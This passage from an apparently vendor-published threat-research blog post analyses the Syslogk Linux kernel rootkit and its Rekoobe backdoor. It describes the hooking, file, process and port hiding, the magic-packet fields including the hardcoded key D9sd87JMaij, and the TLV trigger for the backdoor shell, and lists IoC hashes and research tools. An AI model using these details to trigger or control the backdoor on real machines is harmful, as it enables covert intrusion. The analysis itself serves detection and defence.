accordingly updates its internal <code>module_hidden</code> flag.Fortunately, the rootkit has a functionality implemented in the <code>proc_write</code> function that exposes an interface in the /proc file system which reveals the rootkit when the value <code>1</code> is written into the file <code>/proc/syslogk</code>.

Once the rootkit is revealed, it is possible to remove it from memory using the <a href="https://linux.die.net/man/8/rmmod">rmmod</a> Linux command. The <a href="https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/#files">Files section</a> of this post has additional details that will be useful for programmatically uncloaking the rootkit.<h2>Overview of the Syslogk rootkit features</h2>Apart from hiding itself, making itself harder to detect when implanted, <code>Syslogk</code> can completely hide the malicious payload by taking the following actions:<ul><li data-list-item-id="e3c9eb753cc1a6079ea58b3a55a024c49">The <code>hk_proc_readdir</code> function of the rootkit hides directories containing malicious files, effectively hiding them from the operating system.</li><li data-list-item-id="e055cf0bd6a57b10fd9c808ea20d1cf9f">The malicious processes are hidden via <code>hk_getpr</code> – a mix of Adore-Ng functions for hiding processes.</li><li data-list-item-id="ed53d0262302f0f3ef900485d5152982d">The malicious payload is hidden from tools like <code>Netstat</code>; when running, it will not appear in the list of services. For this purpose, the rootkit uses the function <code>hk_t4_seq_show</code>.</li><li data-list-item-id="e2767df47728044ab1abab832f6cace4f">The malicious payload is not continuously running. The attacker remotely executes it on demand when a specially crafted TCP packet (details below) is sent to the infected machine, which inspects the traffic by installing a <code>netfilter hook</code>.</li><li data-list-item-id="e3e0327399dd52c8e6025467eccaac1da">It is also possible for the attacker to remotely stop the payload. This requires using a <code>hardcoded key</code> in the rootkit and knowledge of some fields of the <code>magic packet</code> used for remotely starting the payload.&nbsp;</li></ul>We observed that the <code>Syslogk</code> rootkit (and Rekoobe payload) perfectly align when used covertly in conjunction with a fake SMTP server. Consider how stealthy this could be; a backdoor that does not load until some <a href="https://www.drkns.net/kernel-who-does-magic/">magic packets</a> are sent to the machine. When queried, it appears to be a legitimate service hidden in memory, hidden on disk, remotely ‘magically’ executed, hidden on the network. Even if it is found during a network port scan, it still seems to be a legitimate SMTP server.For compromising the operating system and placing the mentioned hiding functions, <code>Syslogk</code> uses the already known <a href="https://github.com/ksaravan910/FileCloakingRootkit/blob/master/rootkit.c#L64">set_addr_rw</a> and <a href="https://github.com/ksaravan910/FileCloakingRootkit/blob/master/rootkit.c#L81">set_addr_ro</a> rootkit functions, which adds or removes writing permissions to the <code>Page Table Entry</code> (<a href="https://www.kernel.org/doc/gorman/html/understand/understand006.html">PTE</a>) structure.After adding writing permissions to the PTE, the rootkit can hook the functions declared in the <code>hks</code> internal rootkit structure.

The mechanism for placing the hooks consists of identifying the hookable kernel symbols via <code>/proc/kallsyms</code> as implemented in the <code>get_symbol_address</code> function of the rootkit (code reused from <a href="https://github.com/milabs/kmod_hooking/blob/master/module-init.c#L237">this repository</a>). After getting the address of the symbol, the <code>Syslogk</code> rootkit uses the <a href="https://github.com/vmt/udis86">udis86</a> project for hooking the function.<h2>Understanding the directory hiding mechanism</h2>The Virtual File System (VFS) is an abstraction layer that allows for FS-like operation over something that is typically not a traditional FS. As it is the entry point for all the File System queries, it is a good candidate for the rootkits to hook.It is not surprising that the Syslogk rootkit hooks the VFS functions for hiding the Rekoobe payload stored in the file<code> /etc/rc-Zobk0jpi/PgSD93ql</code> .The hook is done by<code> hk_root_readdir</code> which calls to <code>nw_root_filldir</code> where the directory filtering takes place.

As you can see, any directory containing the substring <code>-Zobk0jpi</code> will be hidden.The function <code>hk_get_vfs</code> opens the root of the file system by using <a href="https://www.unix.com/man-page/suse/9/filp_open">filp_open</a>. This kernel function returns a pointer to the structure <a href="https://github.com/torvalds/linux/blob/master/include/linux/fs.h#L956">file</a>, which contains a <code>file_operations</code> structure called <a href="https://github.com/torvalds/linux/blob/master/include/linux/fs.h#L939">f_op</a> that finally stores the <a href="https://man7.org/linux/man-pages/man3/readdir.3.html">readdir</a> function hooked via <code>hk_root_readdir</code>.Of course, this feature is not new at all. You can check the source code of <code>Adore-Ng</code> and see <a href="https://github.com/yaoyumeng/adore-ng/blob/master/adore-ng.c#L300">how it is implemented</a> on your own.<h2>Understanding the process hiding mechanism</h2>In the following screenshot, you can see that the <code>Syslogk</code> rootkit (code at the right margin of the screenshot) is prepared for hiding a process called <code>PgSD93ql</code>. Therefore, the rootkit seems more straightforward than the original version (see Adore-Ng at the left margin of the screenshot). Furthermore, the process to hide can be selected after authenticating with the rootkit.

The <code>Syslogk</code> rootkit function <code>hk_getpr</code> explained above, is a mix of <a href="https://github.com/yaoyumeng/adore-ng/blob/master/adore-ng.c#L178">adore_find_task</a> and <a href="https://github.com/yaoyumeng/adore-ng/blob/master/adore-ng.c#L193">should_be_hidden</a> functions but it uses the same mechanism for hiding processes.<h2>Understanding the network traffic hiding mechanism</h2>The <code>Adore-Ng</code> rootkit allows hiding a given set of listening services from Linux programs like <code>Netstat</code>. It uses the exported <a href="https://github.com/yaoyumeng/adore-ng/blob/522c80a2dc043c2d523256472becc88c90d66337/adore-ng.c#L662">proc_net</a> structure to <a href="https://github.com/yaoyumeng/adore-ng/blob/522c80a2dc043c2d523256472becc88c90d66337/adore-ng.c#L835">change</a> the <a href="https://github.com/torvalds/linux/blob/master/net/ipv4/tcp_ipv4.c#L2695">tcp4_seq_show( )</a> handler, which is invoked by the kernel when <code>Netstat</code> queries for listening connections. Within the <a href="https://github.com/yaoyumeng/adore-ng/blob/master/adore-ng.c#L688">adore_tcp4_seq_show()</a> function, <a href="https://github.com/yaoyumeng/adore-ng/blob/master/adore-ng.c#L697">strnstr( )</a> is used to look in <code>seq-&gt;buf</code> for a substring that contains the hexadecimal representation of the port it is trying to hide. If this is found, the string is deleted.

In this way, the backdoor will not appear when listing the connections in an infected machine. The following section describes other interesting capabilities of this rootkit.<h2>Understanding the magic packets</h2>Instead of continuously running the payload, it is remotely started or stopped on demand by sending specially crafted network traffic packets.These are known as <code>magic packets</code> because they have a special format and special powers. In this implementation, an attacker can trigger actions without having a listening port in the infected machine such that the commands are, in some way, ‘magically’ executed in the system.<h3>Starting the Rekoobe payload</h3>The <code>magic packet</code> inspected by the <code>Syslogk</code> rootkit for starting the <code>Rekoobe</code> fake SMTP server is straightforward. First, it checks whether the packet is a TCP packet and, in that case, it also checks the <code>source port</code>, which is expected to be <code>59318</code>.<code>Rekobee</code> will be executed by the rootkit if the magic packet fits the mentioned criteria.

Of course, before executing the fake service, the rootkit terminates all existing instances of the program by calling the rootkit function <code>pkill_clone_0</code>. This function contains the hardcoded process name <code>PgSD93ql</code>;&nbsp; it only kills the <code>Rekoobe</code> process by sending the <code>KILL</code> signal via <a href="https://docs.huihoo.com/doxygen/linux/kernel/3.7/kernel_2signal_8c_source.html#l01490">send_sig</a>.To execute the command that starts the <code>Rekoobe</code> fake service in user mode, the rootkit executes the following command by combining the kernel APIs: <a href="https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper-setup.html">call_usermodehelper_setup</a>, <a href="http://www.hep.by/gnu/kernel/kernel-api/API-call-usermodehelper-setfns.html">call_usermodehelper_setfns</a>, and <a href="https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper-exec.html">call_usermodehelper_exec</a>.<code>/bin/sh -c /etc/rc-Zobk0jpi/PgSD93ql</code>The <a href="https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/#files">Files section</a> of this post demonstrates how to manually craft (using Python) the TCP <code>magic packet</code> for starting the <code>Rekoobe</code> payload.In the next section we describe a more complex form of the <code>magic packet</code>.<h3>Stopping the Rekoobe payload</h3>Since the attacker doesn’t want any other person in the network to be able to kill <code>Rekoobe</code>, the <code>magic packet</code> for killing <code>Rekoobe</code> must match some fields in the previous <code>magic packet</code> used for starting <code>Rekoobe</code>. Additionally, the packet must satisfy additional requirements – it must contain a key that is hardcoded in the rootkit and located in a variable offset of the <code>magic packet</code>. The conditions that are checked:<ol><li data-list-item-id="e7204cf8f95336a4e927149084395ea80">It checks a flag enabled when the rootkit executes <code>Rekoobe</code> via <code>magic packets</code>. It will only continue if the flag is enabled.</li><li data-list-item-id="e2e31f48177e33bcbc248f02a571e3f7a">It checks the <code>Reserved</code> field of the TCP header to see that it is <code>0x08</code>.</li><li data-list-item-id="e9c18de54001c5b5e54383a8e9ec18354">The <code>Source Port</code> must be between <code>63400</code> and <code>63411</code> inclusive.</li><li data-list-item-id="ed76edee8d0bc88b753e95aaf083692f3">Both the <code>Destination Port</code> and the <code>Source Address</code>, must to be the same that were used when sending the <code>magic packet</code> for starting <code>Rekoobe</code>.</li><li data-list-item-id="e554328c811135fbf3bc8ebb33ab9e381">Finally, it looks for the <code>hardcoded key</code>. In this case, it is: <code>D9sd87JMaij</code></li></ol>The offset of the hardcoded key is also set in the packet and not in a hardcoded offset; it is calculated instead. To be more precise, it is set in the <code>data offset</code> byte (TCP header) such that after shifting the byte <code>4 bits</code> to the right and multiplying it by <code>4</code>, it points to the offset of where the <code>Key</code> is expected to be (as shown in the following screenshot, notice that the rootkit compares the <code>Key</code> in reverse order).

In our experiments, we used the value <code>0x50</code> for the <code>data offset</code> (TCP header) because after shifting it 4 bits, you get 5 which multiplied by 4 is equal to <code>20</code>. Since 20 is precisely the size of the TCP Header, by using this value, we were able to put the key at the start of the data section of the packet.If you are curious about how we implemented this <code>magic packet</code> from scratch, then please see the <a href="https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/#files">Files section</a> of this blog post.Analyzing RekoobeWhen the infected machine receives the appropriate <code>magic packet</code>, the rootkit starts the hidden <code>Rekoobe</code> malware in user mode space.It looks like an innocent SMTP server, but there is a backdoor command on it that can be executed when handling the <code>starttls</code> command. In a legitimate service, this command is sent by the client to the server to advise that it wants to start TLS negotiation.

For triggering the <code>Rekoobe</code> backdoor command (spawning a shell), the attacker must send the byte <code>0x03</code> via TLS, followed by a <code>Tag Length Value</code> (TLV) encoded data. Here, the tag is the symbol <code>%</code>, the length is specified in four numeric characters, and the value (notice that the length and value are arbitrary but can not be zero).

Additionally, to establish the TLS connection, you will need the certificate embedded in <code>Rekoobe</code>.See the <a href="https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/#files">Files section</a> below for the certificate and a Python script we developed to connect with <code>Rekoobe</code>.The origin of Rekoobe payload and Syslogk rootkit<code>Rekoobe</code> is clearly based on the <a href="https://github.com/creaktive/tsh/blob/master/tshd.c#L693">TinySHell</a> open source project; this is based on ordering observed in character and variables assignment taking place in the same order multiple times.

On the other hand, if you take a look at the <code>Syslogk</code> rootkit, even if it is new, you will notice that there are also references to <code>TinySHell</code> dating back to December 13, 2018.

The evidence suggests that the threat actor developed <code>Rekoobe</code> and <code>Syslogk</code> to run them&nbsp; together. We are pleased to say that our users are protected and hope that this research assists others.ConclusionsOne of the architectural advantages of security software is that it usually has components running in different privilege levels; malware running on less-privileged levels cannot easily interfere with processes running on higher privilege levels, thus allowing more straightforward dealing with malware.On the other hand, kernel rootkits can be hard to detect and remove because these pieces of malware run in a privileged layer. This is why it is essential for system administrators and security companies to be aware of this kind of malware and write protections for their users as soon as possible.IoCs<h2>Syslogk sample</h2><ul><li data-list-item-id="e47957383c04c4d36f7fa03ebfe10a2a8"><code>68facac60ee0ade1aa8f8f2024787244c2584a1a03d10cda83eeaf1258b371f2</code></li></ul><h2>Rekoobe sample</h2><ul><li data-list-item-id="ea0a84f7e7984815e3119dd3d5909e719"><code>11edf80f2918da818f3862246206b569d5dcebdc2a7ed791663ca3254ede772d</code></li></ul><h2>Other Rekoobe samples</h2><ul><li data-list-item-id="e2300a3a23ffde8fb8d426d5aac33a461"><code>fa94282e34901eba45720c4f89a0c820d32840ae49e53de8e75b2d6e78326074</code></li><li data-list-item-id="ecd72b66eb4042582e58c4954ae7e26ea"><code>fd92e34675e5b0b8bfbc6b1f3a00a7652e67a162f1ea612f6e86cca846df76c5</code></li><li data-list-item-id="efaa0d8aa646fbd818666373ceff40944"><code>12c1b1e48effe60eef7486b3ae3e458da403cd04c88c88fab7fca84d849ee3f5</code></li><li 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data-list-item-id="e0c494c246df6eac7676995dc050b1cbd"><code>c32e559568d2f6960bc41ca0560ac8f459947e170339811804011802d2f87d69</code></li><li data-list-item-id="e1235d6532adbf7c9514cec7324bc12b9"><code>864c261555fce40d022a68d0b0eadb7ab69da6af52af081fd1d9e3eced4aee46</code></li><li data-list-item-id="e418dc62451a7fc88583cf0855e3b174a"><code>275d63587f3ac511d7cca5ff85af2914e74d8b68edd5a7a8a1609426d5b7f6a9</code></li><li data-list-item-id="e4c26e6e5035f8978d889a2d56a6fcfb7"><code>031183e9450ad8283486621c4cdc556e1025127971c15053a3bf202c132fe8f9</code></li></ul>Files<h2>Syslogk research tools</h2><ul><li data-list-item-id="e855a6a8f68b3fb232a34f453f7e19035"><a href="https://github.com/avast/ioc/blob/master/SyslogkRootkit/Research%20Tools/unhide_rootkit.c">unhide_rootkit.c</a></li><li data-list-item-id="e9c42b03ec562f0c2a4d76cd78f17b622"><a href="https://github.com/avast/ioc/blob/master/SyslogkRootkit/Research%20Tools/magic_packet_start_rekoobe.py">magic_packet_start_rekoobe.py</a></li><li data-list-item-id="e4e7d089d7ce490eb112aa7f82b08ef8d"><a href="https://github.com/avast/ioc/blob/master/SyslogkRootkit/Research%20Tools/magic_packet_kill_rekoobe.py">magic_packet_kill_rekoobe.py</a></li><li data-list-item-id="e913e98950f2c1d73ae42de219df4f416"><a href="https://github.com/avast/ioc/blob/master/SyslogkRootkit/Research%20Tools/remove_syslogk_from_memory.sh">remove_syslogk_from_memory.sh</a></li></ul><h2>Rekoobe research tool</h2><ul><li data-list-item-id="e25b14e1c1cf319f5d3b9a3822de8a85c"><a href="https://github.com/avast/ioc/blob/master/SyslogkRootkit/Research%20Tools/rekoobe_backdoor_client.py">rekoobe_backdoor_client.py</a></li><li data-list-item-id="e4082a65240a74157c29b57dcd46d5453"><a href="https://github.com/avast/ioc/blob/master/SyslogkRootkit/Research%20Tools/cert.pem">cert.pem</a></li></ul>IoC repositoryThe Syslogk and Rekoobe rootkit research tools and IoCs are in our <a href="https://github.com/avast/ioc/tree/master/SyslogkRootkit">IoC repository</a>.

David Álvarez

Posts by David Álvarez

Building a last-resort unpacker with AI

New Diamorphine rootkit variant seen undetected in the wild

Go malware on the rise

Linux Threat Hunting: ‘Syslogk’ a kernel rootkit found under development in the wild